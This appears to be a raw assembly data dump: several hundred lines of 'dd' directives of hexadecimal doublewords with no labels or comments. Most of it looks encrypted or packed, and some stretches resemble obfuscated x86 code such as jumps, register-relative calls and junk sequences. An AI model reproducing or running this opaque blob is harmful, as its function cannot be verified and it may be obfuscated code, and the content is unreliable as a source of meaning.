dd 1B7964FBh, 874EF68Ah, 4EE31AD5h, 60119EAEh, 58EFAB03h
dd 67503C4Dh, 5D5C32A5h, 0C82B530h, 2B5F1975h, 26D7625h
dd 0F5700CACh, 50F785F2h, 677F475h, 0BBC8CF6Ah, 3F4C4DE9h
dd 91561567h, 588744F6h, 892B3FC4h, 0EBA70F8Ch, 0C6C55A54h
dd 0D86F3B59h, 55901F39h, 5E59211Bh, 19156E0Eh, 0BB2AAB7Fh
dd 30868321h, 4B853383h, 209A7624h, 252EB17Bh, 244C0F49h
dd 55D2DD76h, 7FB9AC37h, 0FD66B8DDh, 9EFBFE85h, 9279EE75h
dd 48D8E11Ah, 3Fh, 0DD7FB9D3h, 760B80B8h, 0B638221h, 7648CD65h
dd 7624BF32h, 8094F1BEh, 32D395E9h, 86E17624h, 853C6530h
dd 0F482E7E2h, 8FFEE49Dh, 3355053Ah, 9B7F581h, 0F45ADB2Fh
dd 3067D3h, 0B9FC0000h, 80B8DD7Fh, 24326A2Eh, 9C0B7076h
dd 32EFA905h, 0B2FD7624h, 0B808B1Ch, 0F70063F4h, 0B461C9D6h
dd 5AEC80EFh, 0D9713E4Fh, 0DEBBA639h, 0FE856FF4h, 0E4376CFBh
dd 0DC9CF23Bh, 0E876248Eh, 56EDFA8Fh, 4D5857FFh, 9A991AB6h
dd 9ADE8CEDh, 26762473h, 13E3F159h, 0A57628F5h, 0FABE1003h
dd 0C67628F2h, 394B38B9h, 0B6CCBDBCh, 0BCE07C4h, 706FF08Ch
dd 0F13BE0DAh, 79157772h, 0FD8FFCFDh, 4BE57071h, 0CDDFACA9h
dd 9A12E3Bh, 0E55A146Ah, 0D2BEB33Fh, 0E5CEC13Ah, 481BDDh
dd 80800000h, 32D395E9h, 86E17624h, 0D7C36030h, 0D9D6572Ah
dd 970ECCF7h, 6C3E0AC7h, 328C237Ch, 7C6C3D76h, 0ED8D2542h
dd 1BA7F582h, 981B6906h, 15C5EC9Dh, 0E05A9156h, 0CBBFF43Bh
dd 9D67E924h, 0A241D179h, 0B73413B4h, 0E9804ED5h, 2432D395h
dd 3086E176h, 0B7C4C360h, 0A93CDED9h, 6C5520D5h, 0A9CBB47Ch
dd 297FB90Ah, 1948622Ch, 47DEAB45h, 0B3226DEFh, 664025A2h
dd 41EC80FDh, 33420658h, 0E18E7624h, 3C921360h, 0E8C6D75Ch
dd 762432B0h, 91F2733Ch, 9279EE75h, 48D8E11Ah, 4Fh, 0DD7FB9D3h
dd 360DB64Ah, 0F1923879h, 326A2E80h, 1A767624h, 89F6879Ah
dd 60039D08h, 3F971465h, 46EC80A4h, 0DD753243h, 0E2855338h
dd 9DF482E7h, 6CF148E4h, 75DDE80Bh, 346752h, 950E0000h
dd 8C0CC9E8h, 0EB2B5C77h, 461F09E2h, 0B97E09A1h, 80B8DD7Fh
dd 24326A2Eh, 6E0B7076h, 0EC801B80h, 35E54D44h, 6B20B792h
dd 0F9115AE3h, 4063CBE9h, 0FE856FF4h, 0EA3C8AFBh, 0DE7628B3h
dd 522E5F52h, 0D8AEDFD2h, 29E039E6h, 0DD668A71h, 42EEBAC6h
dd 0ACDDD45Ch, 63314ECFh, 0EDB5C2C7h, 78042C93h, 0D252EE79h
dd 57D2AEDFh, 6F7BD350h, 0E58F54CFh, 5A8EDDh, 55E70000h
dd 0D8D9D6B3h, 0DFACAB48h, 856F78DEh, 0C28AFBFEh, 0B5BE40F9h
dd 24329FD9h, 0C5422D76h, 44FDD144h, 807C6C4Eh, 7EFA96E7h
dd 4D57116Dh, 1A657C6Ch, 0A9CEC9Dh, 974B6E1Fh, 62D81328h
dd 83DB72BDh, 7C6C4DC5h, 6D16013h, 0C36BCE7h, 0C86B278Fh
dd 5AF6AFCDh, 5073DBDEh, 5D41EC80h, 0C5A2D3D6h, 8122EE44h
dd 0A09BF582h, 72136BFAh, 467C6C63h, 0B9B85B39h, 0B34ADD7Fh
dd 0B2C586FEh, 49196CC7h, 76245E0Fh, 2623C1DDh, 3AB2849h
dd 80FD6660h, 0E84E41ECh, 99F8B28h, 810E6F1Ch, 0FBFE7A16h
dd 2245ED8Ah, 9279EE75h, 48D8E11Ah, 35h, 0DD7FB9D3h, 3802514Ah
dd 4B4F036h, 0FAF643C2h, 0E54DCA3Eh, 6A2E80C2h, 93762432h
dd 0E132D31Eh, 64CAF4FAh, 804E2B54h, 0E7E2851Bh, 676FF482h
dd 2Bh, 0DD7FB9FCh, 6A2E80B8h, 70762432h, 3307411Dh, 0B9D57624h
dd 2E4F3C3Dh, 804720A1h, 0F4E2851Bh, 0DBDE5B4Fh, 0CF4C2D5Ah
dd 856FF4AAh, 3C8AFBFEh, 7628B3EAh, 2E5F52DEh, 0A2D3D652h
dd 0D41CC3FFh, 61A82928h, 852EF2A9h, 0DB6E28Eh, 2C177936h
dd 0EB7FCD9Ah, 0B828E098h, 2B483938h, 22633BAAh, 0B67C70F4h
dd 81FAABC9h, 6E405796h, 7C70732Ah, 74BCC9B6h, 0C5DE741Ch
dd 0B8DD7FB9h, 0F67D0F66h, 4DE582F3h, 0E8FE853Ah, 7D3A4B56h
dd 0EC809BFCh, 4305595Ah, 91762433h, 0A1C16916h, 1A927902h
dd 5B48D8E1h, 0D3000000h, 4ADD7FB9h, 9EAE3851h, 251C88C0h
dd 5E2B5476h, 0DC4C397Ch, 0E8FB5356h, 326A2E80h, 9767624h
dd 57E9806Ch, 0D0A7D4B1h, 2432BAFEh, 0F8790676h, 0E2853152h
dd 4E3B70E7h, 0F94C6A4Eh, 0B9A57B68h, 0DE5F2C8Dh, 0EC806F78h
dd 58E94140h, 2967BBh, 720E0000h, 0E283F0F7h, 7FB93B4Ch
dd 2E80B8DDh, 7624326Ah, 806E0B70h, 0A8AD57E9h, 0E2856102h
dd 9DF482E7h, 13607D03h, 85AB3C92h, 4948E8FEh, 57116D38h
dd 65762432h, 6F1C9D1Ah, 28B407DFh, 4D32E876h, 7B191CA7h
dd 16ED962Ah, 0E6B21899h, 6729465Dh, 0F1AAD5Ch, 25B0317Eh
dd 7F72F28Eh, 6127770Eh, 6F7628B3h, 0AD2B8300h, 7C70C444h
dd 98D0AE45h, 247C70C3h, 0B8C7F35Bh, 7FB93BD8h, 0FD66B8DDh
dd 9EFBFE85h, 0EC80EE75h, 72334047h, 1A4BC0DCh, 3391D8E1h
dd 0A000000h, 0AA57E980h, 32C187D7h, 600F7624h, 804A72CAh
dd 6A2E80E7h, 76762432h, 1B806C09h, 4C5BEC80h, 0B6952AE6h
dd 806FF4EDh, 0E94140ECh, 16CBh, 7FB94800h, 2E80B8DDh
dd 7624326Ah, 806E0B70h, 0E7E2851Bh, 856FF482h, 0FB8AFBFEh
dd 334E0A64h, 1D9A7624h, 3CDED9B5h, 38C0D5A9h, 6B147C6Ch
dd 78049809h, 0C36B0879h, 1B8A506Bh, 0BABE2343h, 0FD8AF582h
dd 971204AFh, 25711390h, 750C9B9Eh, 2AB55F19h, 0E1E08D76h
dd 6611390h, 0FFB303B0h, 29B19EC9h, 0ADFF8C8Dh, 23710E1Bh
dd 8C3E8580h, 946D15DFh, 0B16EDC17h, 5ACDC86Bh, 6ED73EC6h
dd 67808A5Bh, 5F6BC340h, 0DBB3A043h, 0B196629Dh, 81D8732Ch
dd 2652B692h, 0D9ABD859h, 33CD5859h, 9D1AB0ADh, 6AEEA3FAh
dd 56126C18h, 62B196B1h, 11997005h, 3D3CB92Bh, 0D5872F4Ch
dd 2221C216h, 0AAA94A46h, 3DD1CADDh, 13169CB1h, 2AE09A66h
dd 3F684h, 416D0000h, 0E5FC85DAh, 787F0494h, 0FDFC790Bh
dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h
dd 0CCC96B39h, 4C68B9BFh, 89000021h
dd 0BF572424h, 4, 4247C01h, 79B0685Fh, 3C890000h, 0E7895724h
dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 2BBF5751h
dd 89064E85h, 0CF895FF9h, 2C8B5459h, 4C48324h, 8BB53h
dd 0EB010000h, 89FE8956h, 0FF5B5E33h, 835D2434h, 3C8B04C4h
dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 0F0E3E95Ch
dd 0BC50FFF9h, 0B8D161B2h, 64E8D21h, 0E0FFC503h, 6EE51F74h
dd 79E8B2A7h, 1F9628E6h, 7F6C153Eh, 61394B78h, 64F6EF4Eh
dd 2CBC7F1Ch, 2747E0EDh, 3BA26181h, 8E618D8Dh, 6A064Eh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0B50108C3h, 6480F59h, 89F3B70Fh, 4814058Dh, 41DB8106h
dd 0C7333393h, 48302585h, 71DC06h, 19BD8900h, 0C7064829h
dd 482AD985h, 6, 5800F00h, 66000000h, 0E7B8C881h, 17B5B5FFh
dd 870F0648h, 5, 6EB8166h, 7195FF62h, 6A06480Eh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 6C11C356h, 75BD8BDCh, 6A064812h, 2D95FF00h, 8B064809h
dd 6F4DEBC0h, 0C9250B5Dh, 0C9C4912Ah, 491EA6Bh, 47CFFB84h
dd 9E1995FEh, 0EC472DECh, 0BF49A384h, 671DA23Bh, 7695F91h
dd 0B32DA003h, 22BE632Ah, 1192EF3h, 7FEAD191h, 1C49EE3Dh
dd 0AF88CFF6h, 0B7A84299h, 0E34551F4h, 6A1698F1h, 0A4720E4Fh
dd 0DE8h, 0F3B14700h, 0E2099767h, 28A5663Ah, 59F8227Eh
dd 3800Fh, 0C2800000h, 86C18166h, 6600005Dh, 0C3BED68Bh
dd 8166941Ch, 6BFA73C6h, 658D8999h, 0FF064813h, 13E931h
dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h
dd 8B605874h, 4831B185h, 9D858906h, 61064830h, 31AAF081h
dd 0BD8B3CB1h, 648123Dh, 30C7F081h, 0BD290924h, 64811A1h
dd 0AF81E881h, 0E95250C5h, 0Fh, 6BC9C491h, 840491EAh, 0FE47CFFBh
dd 5B9E1995h, 0E1B52950h, 8F064814h, 81950901h, 83064811h
dd 8B6604E9h, 1EE83DFh, 0FF85850Fh, 7BBAFFFFh, 8D0C7677h
dd 4E8FE28Dh, 0DF816606h, 8D89BFE7h, 6481405h, 12759589h
dd 85C70648h, 6483025h, 6B08h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 32C35343h, 5B7E73C8h, 259D896Fh
dd 0C7064817h, 482AD985h, 6, 0F7BF0F00h, 1A1DB5FFh, 51520648h
dd 22B19D33h, 5E5F0648h, 0E7195FFh, 0B5010648h, 6482985h
dd 95FF006Ah, 648092Dh, 1AEBC08Bh, 41A19B51h, 0EF95CF2h
dd 0CFA6CF74h, 0D1C8A0B8h, 0DD7E1DE3h, 0C5293515h, 8D8D6C3Dh
dd 64E9117h, 6880Fh, 0BD010000h, 64822B1h, 8D8940B4h, 6481405h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EEC35646h
dd 3AAF936Ch, 0AC54B2A1h, 27C28166h, 0B86660DFh, 9D8B5160h
dd 64829C5h, 2585C761h, 50064830h, 6A000068h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 4852C350h, 39B0B4C0h, 78D0Fh, 66570000h, 0F592DE81h
dd 0D985C75Bh, 6482Ah, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C365C350h
dd 0C17A5E04h, 6EF480A6h, 1A1DB5FFh, 6A0648h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B3D138C3h
dd 0AE3508AEh, 1999958Bh, 95FF0648h, 6480E71h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0FC35141h, 8B6A092Fh
dd 481A9195h, 0FF006A06h, 48092D95h, 0EBC08B06h, 8325B1Ah
dd 71B69F89h, 311A5BABh, 547F0BFFh, 273C141Bh, 0B600B4F1h
dd 0E818A2ACh, 8, 0E12989EAh, 0B8B6C4E8h, 16C9BD8Bh, 295E0648h
dd 482B6585h, 51C68106h, 0BB00006Fh, 6C5D44A6h, 1BB7B8h
dd 8BD98B00h, 0AE916h, 3300000h, 0D22F725Bh, 37DB2776h
dd 0EFD0EA81h, 0FA8A7A2Bh, 4DE4C281h, 9D8B6CEFh, 6480B21h
dd 0C7A2EA81h, 0BD892C9Eh, 6482C29h, 5830F52h, 66000000h
dd 0F71DCF81h, 0ED80068Fh, 4EE8342h, 68D8589h, 0F480648h
dd 0FFFFAE85h, 0A28D8DFFh, 6A064E92h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 8DAAC357h
dd 89CBE14Ah, 4814058Dh, 2585C706h, 90064830h, 6A000072h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 159AC356h, 866F578Ch, 85C7F913h, 6482AD9h
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 73C35545h
dd 0BD8B69C0h, 64811A9h, 1221B5FFh, 6A0648h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ECE32AC3h
dd 3C21BE00h, 819908A2h, 0E8B426D3h, 7195FF55h, 6A06480Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 166FC356h, 54E63DC7h, 0E2D64AB0h, 0DED880F8h
dd 95FF006Ah, 648092Dh, 3AEBC08Bh, 748D8466h, 7216D044h
dd 538E009Ch, 785864B8h, 0D1ED2C58h, 66D76F2Eh, 0F84C81B8h
dd 2AC2050Eh, 0C689315Ch, 85E9BBADh, 0EBF7F614h, 0B9D7381Eh
dd 25150DEEh, 7A3C1953h, 5FE99517h, 52000001h, 0E860D48Bh
dd 0
dd 0EFED815Dh, 8B064E92h, 453D0842h, 0F782638h, 13885h
dd 0C428B00h, 0D3184A8Bh, 0F778BBC8h, 0C33336F8h, 8904E883h
dd 48140585h, 4588B06h, 428BF88Bh, 184A8B10h, 27BEC8D3h
dd 33887C13h, 83C72BC6h, 0E883FCE0h, 25858904h, 8B064830h
dd 85891442h, 6482AD9h, 5318428Bh, 0B0E9h, 39B5FF00h, 0E906480Ch
dd 0B9h, 0F1DB5FFh, 0AEE90648h, 0FF000000h, 481A1DB5h
dd 0A3E906h, 0B5FF0000h, 64827D9h, 98E9h, 3DB5FF00h, 0E906480Dh
dd 8Dh, 915B5FFh, 82E90648h, 0FF000000h, 481221B5h, 77E906h
dd 0B5FF0000h, 6481BD5h, 6CE9h, 0FDB5FF00h, 0E9064806h
dd 61h, 2FB5B5FFh, 56E90648h, 0FF000000h, 480C99B5h, 4BE906h
dd 0B5FF0000h, 6480E25h, 40E9h, 71B5FF00h, 0E906481Bh
dd 35h, 17B5B5FFh, 2AE90648h, 0FF000000h, 48283DB5h, 1FE906h
dd 0B5FF0000h, 648184Dh, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h
dd 4E93508Dh, 0FFC80306h, 7195FFE1h, 5B06480Eh, 1405858Bh
dd 58390648h, 0F850F04h, 53000000h, 95FF016Ah, 648092Dh
dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
dd 6482861h, 943E8D8Dh, 4189064Eh, 8DC38B01h, 4E94E98Dh
dd 0B0BA6606h, 58D8984h, 6A064814h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 17B0C356h
dd 9464A48Bh, 95C06F41h, 9AE8BF66h, 302585C7h, 5D100648h
dd 85290000h, 6482F69h, 2AD985C7h, 648h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 963FECC3h, 0DF81F88Ah, 396EB908h, 283DB5FFh, 0FFF90648h
dd 480E7195h, 0A9858906h, 6A064823h, 2D95FF00h, 8B064809h
dd 0E73DEBC0h, 55BC293Ah, 0E7E20447h, 72DB44DDh, 0C2B983AFh
dd 0EFA82AD6h, 0F8876A9Eh, 0DAC82303h, 0B8A45F76h, 0BD7484DFh
dd 9665657h, 4B2C8E23h, 0C54061F3h, 0FDB59FDEh, 0C8C66AC7h
dd 6DA8B807h, 0FF985C6h, 68560648h, 0A9C530DFh, 29A9B5FFh
dd 858D0648h, 64B7F60h, 8D8DD0FFh, 64811C1h, 0FF406A51h
dd 480A01B5h, 0D9B5FF06h, 0FF064819h, 1B5FFD0h, 0FF06480Ah
dd 4819D9B5h, 5E806h, 2BCE0000h, 5F79AF68h, 4EF835Fh, 2242CC1h
dd 22424C1h, 0F7243C03h, 0F62B241Ch, 81371C8Bh, 4211A0EBh
dd 0D8F3815Ah, 814AABC1h, 8BF637C3h, 371C897Ah, 4E01EE83h
dd 343B4E4Eh, 0D9850F24h, 8DFFFFFFh, 481A319Dh, 0B038B06h
dd 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h, 12E8h, 0BE224B00h
dd 6BC139D3h, 0D8679E22h, 0E03A0CD4h, 0E9F2ABE2h, 0Bh
dd 0A8CCFFDCh, 0FB333A91h, 587C64CCh, 7110C081h, 0D22B0000h
dd 6E86060h, 2C000000h, 0CCCF7AC4h, 81665A18h, 61287AC3h
dd 0FE9h, 397C1500h, 591A7324h, 0BE6ED6AEh, 2BFC1E07h
dd 100C8B61h, 0A95CF781h, 0E9816E4Eh, 3A7A5AC0h, 0C181F98Bh
dd 5577C8B1h, 0BA16E981h, 6FBF365Eh, 5161B3A5h, 0AF40BE66h
dd 0E910048Fh, 11h, 0AB23D44Dh, 0E89F1B7Dh, 85651462h
dd 0C70E4A98h, 4EA83E5h, 12E9h, 2DE3A100h, 4EF3C284h, 0CB402765h
dd 16916C14h, 8178F001h, 0FF8FB0FAh, 9A850FFFh, 60FFFFFFh
dd 0D7F377BBh, 3CC28000h, 0ABE961h, 8D500000h, 0B11C3F2Eh
dd 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h
dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h
dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h
dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h
dd 52DAFD83h, 131EE955h, 3C680000h, 0E9064E99h, 0FFF9E725h
dd 4E9A3768h, 0E71BE906h, 1768FFF9h, 0E9064E9Bh, 0FFF9E711h
dd 4E9C3468h, 0E707E906h, 0AE68FFF9h, 0E9064E9Ch, 0FFF9E6FDh
dd 4E9D4068h, 0E6F3E906h, 0FF68FFF9h, 0E9064E9Dh, 0FFF9E6E9h
dd 4E9EDD68h, 0E6DFE906h, 8E68FFF9h, 0E9064E9Fh, 0FFF9E6D5h
dd 4EA0C368h, 0E6CBE906h, 0D368FFF9h, 0E9064EA1h, 0FFF9E6C1h
dd 4EA35F68h, 0E6B7E906h, 0AB68FFF9h, 0E9064EA4h, 0FFF9E6ADh
dd 4EA6A768h, 0E6A3E906h, 0B668FFF9h, 0E9064EA7h, 0FFF9E699h
dd 0B8D8D75Eh, 214346ECh, 95F7D275h, 187879F9h, 83E1E08Ch
dd 8F2B1360h, 2CB2EE8Ah, 0BA475331h, 2AC9C5A7h, 0FF964D2Fh
dd 72C9E9AFh, 0B651F77Ch, 6CFBFE85h, 6A4455D0h, 7624332Eh
dd 0F7CFDBAh, 0DCABC86Eh, 0AA0BF40h, 82EEE58Eh, 0DC4B112Ah
dd 6C455B82h, 6CF38F7Ch, 0E2630071h, 447FC595h, 12B57C6Ch
dd 8F2A4637h, 0C9A3FB88h, 8630DD12h, 2F7F16D9h, 7C6C4469h
dd 0FC7F0877h, 5D0C380Dh, 0BD6676DCh, 67DBA929h, 2Fh, 0DC7EB9BCh
dd 40647549h, 3B07C6Ch, 64ACAE88h, 53F464DEh, 0EF86F774h
dd 77DFCA5Dh, 6CEC1B59h, 0C784367Ch, 0A9B73AE1h, 0F9E0DBh
dd 803B0000h, 0B1BE830Bh, 0C56DF45Bh, 3CABAE55h, 0F8B00EA5h
dd 0C47624D5h, 0D5ADEBBBh, 883B7624h, 713F3AF9h, 5CF273A6h
dd 0A0A14D5Fh, 3422C1D3h, 0AA8D418Ch, 0B1EB2FABh, 0C3904730h
dd 0BFDD2DA4h, 0B033413Eh, 3479D7B5h, 907624F2h, 0ECAC0213h
dd 0F87624EAh, 46523EBFh, 87C9A6BDh, 37871EBCh, 7C6D1426h
dd 0F7C7A5C2h, 93961DCCh, 0CD2B8312h, 0FE82B767h, 0ACCC785h
dd 9D1A6B6Eh, 0C0DD00E8h, 67374E6Ah, 7626EE21h, 0D443C0AFh
dd 0DFBDBC38h, 0A48A2AC6h, 9760702h, 0CA762288h, 0FB1148F7h
dd 6827129Dh, 108DFAh, 3938B900h, 0A0A54F5Bh, 5433D4C0h
dd 0D9D85834h, 4E43EFBBh, 88B00122h, 138FEDECh, 0A4F0908Dh
dd 2E7A0619h, 71E28E85h, 0CC48005Eh, 32947C72h, 95E98051h
dd 762432D3h, 10606101h, 605F263h, 0EF6CC95Ch, 82F3F67Dh
dd 21CD4DE5h, 0AF544020h, 0B92BC8A8h, 7549DC7Eh, 7C6C4064h
dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh, 8FA83F8h
dd 220DA23Eh, 0C7408Ch, 85DB0000h, 0FE8AFBFEh, 0B00E7F72h
dd 762436EDh, 0F1AB5AD9h, 4A5B07DAh, 1538D399h, 0DC5B0C60h
dd 0D1AEA14Ch, 28C453D0h, 89CF9F88h, 5776246Fh, 6703AB28h
dd 81C7972Eh, 4F76246Fh, 650E8A20h, 84BF116Eh, 0EE7F4FC6h
dd 3A7C6C99h, 84BF1F7Dh, 887F4FC6h, 3582B6E8h, 0BD9F777Ch
dd 2B831F41h, 0DB75E08Fh, 4D2A5B5Eh, 109C30E5h, 0FCDDB8E5h
dd 6DEA0EDAh, 1217930Fh, 9E2CF4ABh, 0AD5DD212h, 0F92h
dd 5C3C33B2h, 0C5A7A240h, 492B36C9h, 0BCDCD55Dh, 274544E0h
dd 0E38FB71Ch, 701682EEh, 1E9BF795h, 862D791Bh, 5B72E183h
dd 72CD4503h, 5ACD937Ch, 54EBF985h, 4FFB29BDh, 2DAA801Ah
dd 0B2DE5F5Ch, 3A465DE6h, 0FBFE8599h, 6D75FE8Ah, 5D54DCDAh
dd 41CEAFDCh, 0F5D07723h, 484FF484h, 5CE77928h, 0CF7DF159h
dd 0D74E0C37h, 6C42B687h, 22B5F27Ch, 4175338Bh, 1CA37C6Ch
dd 9E347301h, 0E7791382h, 3F0654FAh, 5773F673h, 3336BD6Ch
dd 31A42542h, 0AACD8E78h, 0EE440384h, 0CECA5727h, 0ED666E2Eh
dd 0E5A7A491h, 966E7BDh, 47DE7C47h, 463712B5h, 6D049139h
dd 0E042D434h
dd 0CA27E22h, 0F9CC664Eh, 62F5B273h, 422E25CEh, 492F5E53h
dd 0D2161245h, 10179C7Ch, 0DF33E8ADh, 0B121DE20h, 0EB2h
dd 7C1C1392h, 0E5878220h, 690B16A9h, 0DCBCB53Dh, 472524C0h
dd 0C36F573Ch, 50F6A2CEh, 0FE7B1775h, 660D99FBh, 3B520163h
dd 72CE2563h, 7A2DB37Ch, 8AFBFE85h, 0C453F9C2h, 6C4F87EAh
dd 0EB97E37Ch, 0A30B6916h, 0B63F298h, 82B461C2h, 720E99E6h
dd 0CF89E5F6h, 1D762440h, 7641592h, 0F2B200AFh, 26762440h
dd 9BE9869Dh, 0EA6B1805h, 8962BB60h, 0DAD46A06h, 73DB585Fh
dd 79A28279h, 0EADDE100h, 0A7D4AB56h, 0AD2A2FD5h, 3524643Ah
dd 0F7B07624h, 37FF5Fh, 0B9240000h, 1F5E287Eh, 76B8769Ah
dd 0C4005EC9h, 107C6D60h, 0C16C0097h, 59F3A2CEh, 5A78DEDBh
dd 7C6CC41Ch, 6454A74Ch, 0CA6890A8h, 0D99FB78h, 62106160h
dd 0DE6h, 0DC7EB9E1h, 0CA637549h, 0F6B17C72h, 2326CD5Fh
dd 0BDAE5541h, 72C9A7E1h, 0CD4A357Ch, 25E7D0BCh, 602DDCB2h
dd 0FEB982C1h, 2B2ED567h, 0D3D65D49h, 77C4F44h, 0B66536B8h
dd 23D9320h, 54F1CD58h, 0A07C6C96h, 0B30378C7h, 7A350C58h
dd 0D95CCh, 3130B100h, 0B8BD4753h, 2C3BCCD8h, 0D1D0504Ch
dd 465BE7B3h, 80B8193Ah, 0B87E5E4h, 9C086875h, 26721E11h
dd 69FA869Dh, 0CF407856h, 3A8C7C72h, 32FD4769h, 2C177624h
dd 7C8B389Ah, 9D1A3ACAh, 268DB40Ah, 5E597C73h, 8B8E35C7h
dd 4D21B8E9h, 7C72FE0Bh, 9878DED9h, 216F1C1Bh, 4AE17416h
dd 0E161D351h, 248A883Ah, 0BA5FCBB6h, 0E5582782h, 129AA98Ch
dd 1B55C5BAh, 2B00000Dh, 0B9D5B78Ah, 46523E3Bh, 0CAC6A2A1h
dd 5935572Ah, 97BCDCDDh, 677A063Eh, 0EAF78905h, 9097128Eh
dd 181FA4F0h, 0FAD4EB78h, 7C72CEBEh, 85D3B40Ah, 0FE8AFBFEh
dd 8017E75h, 44BFE956h, 9EDDE112h, 6E8h, 0D8D965F7h, 4364CAABh
dd 49DC7EB9h, 46370AB7h, 0AA049139h, 7C72C994h, 25BC2B54h
dd 44EAEF8Bh, 48282FD4h, 0B1062059h, 0F032F032h, 3E35BE5Ah
dd 97B3F141h, 0E2DD7C72h, 70D1AD38h, 0FC82BAB4h, 3C1B0CB3h
dd 621D129Ah, 0C89F4h, 253CC500h, 0ACA94B47h, 504FD0CCh
dd 0C5DC6430h, 4A4FEBA7h, 94AC052Eh, 1F8BE9E8h, 0A0FC9C89h
dd 2A660205h, 75EE8A89h, 0D04C0C62h, 0C6987C72h, 0FBFE855Dh
dd 7E75FE8Ah, 0D4AD55E7h, 79C73BA3h, 0FD55D793h, 27BED9FEh
dd 24F31157h, 7AD0DF76h, 0B8549B40h, 214E3F3Ah, 0D20EF589h
dd 39D4DDE1h, 4F000006h, 2432FD47h, 6E2C1776h, 0C9C7A7F7h
dd 48E47C72h, 0DBD8A9A8h, 502E4773h, 7C72C918h, 724CDBA4h
dd 7C72C936h, 0F164E582h, 5D69215Ah, 0AC6D1C8Fh, 0EAE98A06h
dd 9291128Eh, 0CA90ABE5h, 7B1E035Bh, 0D94A82BAh, 5FF2D9C6h
dd 0FEED723Bh, 0E263E081h, 9A5AC25Bh, 8B3BF412h, 0BCAh
dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h, 6F0D0CA8h
dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh
dd 72D00D4Bh, 8205DB7Ch, 8AFBFE85h, 5CE86FBh, 906E50EAh
dd 10616000h, 0D45F3B93h, 0DFAF46D1h, 76245C99h, 0C5F25827h
dd 78090CB7h, 0FA8B9628h, 8C992FBDh, 493684FFh, 0A53C5BB0h
dd 245C8FC9h, 0FC525D76h, 0F02B1DC2h, 2ADDE138h, 564h
dd 4F4AE983h, 0CED9713Eh, 1E287EB9h, 57785AB3h, 25CCB48h
dd 7C730A41h, 970E69h, 7308EAAEh, 2189F67Ch, 5C5BD874h
dd 0C4C3603Ch, 0B749E0B7h, 2167370Ah, 0AF7C7309h, 286C6AC0h
dd 607C7309h, 6922B557h, 0EDEFECC9h, 0BE57FF15h, 0BAD181E0h
dd 0CE740882h, 55FDBACBh, 70E35A25h, 56129A18h, 0AEC29D9h
dd 0D9580000h, 44EEBAC6h, 0D0772341h, 7BFB97F5h, 0E28E1A66h
dd 11668DEFh, 0EC8C8D29h, 51332EB0h, 0DBB9B845h, 432124CFh
dd 0E7A1FD90h, 0F57C72D0h, 0FE85B053h, 75FE8AFBh, 0AF55E77Eh
dd 76DCDDAAh, 219E5079h, 0E1121C07h, 4B2C6DDh, 805D0000h
dd 0D4B157E9h, 0D088C6A7h, 1C762432h, 0DC9D3B93h, 34762432h
dd 0F8D6410Bh, 7C72C998h, 473CABD4h, 4E8EC86Ah, 5D389E14h
dd 472520C3h, 0DCADA84Bh, 9205C7F0h, 0B83D86FBh, 0F232F27Bh
dd 0ADDB7E5Ch, 2EC282BAh, 11149F83h, 0F5820360h, 8979C3B4h
dd 2310A1BFh, 3D80EF8Bh, 129A2F0Ch, 3BC5752Ah, 0B00000Ah
dd 99F5976Ah, 26721E1Bh, 0AAE68281h, 3955370Ah, 0B7DCBCBDh
dd 475AE6DEh, 0CAD76925h, 7077F2AEh, 0F8FF8410h, 0DAB4CB98h
dd 7C72D19Eh, 85F3942Ah, 4A4DE8FEh, 47ECBCCDh, 0B83BD540h
dd 6615BDh, 882BF1AEh, 0D44FEF8Dh, 0EDDE10Eh, 14Dh, 41EC8095h
dd 0E070314Eh, 74354245h, 0B2B132DEh, 90CB7C5h, 9238036Bh
dd 52D06C03h, 0AA4A2657h, 0D28056D7h, 7C6C452Bh, 3383F0BFh
dd 7C6C4471h, 97B16ED8h, 0DBA9006Ch, 3BB6h, 36881F00h
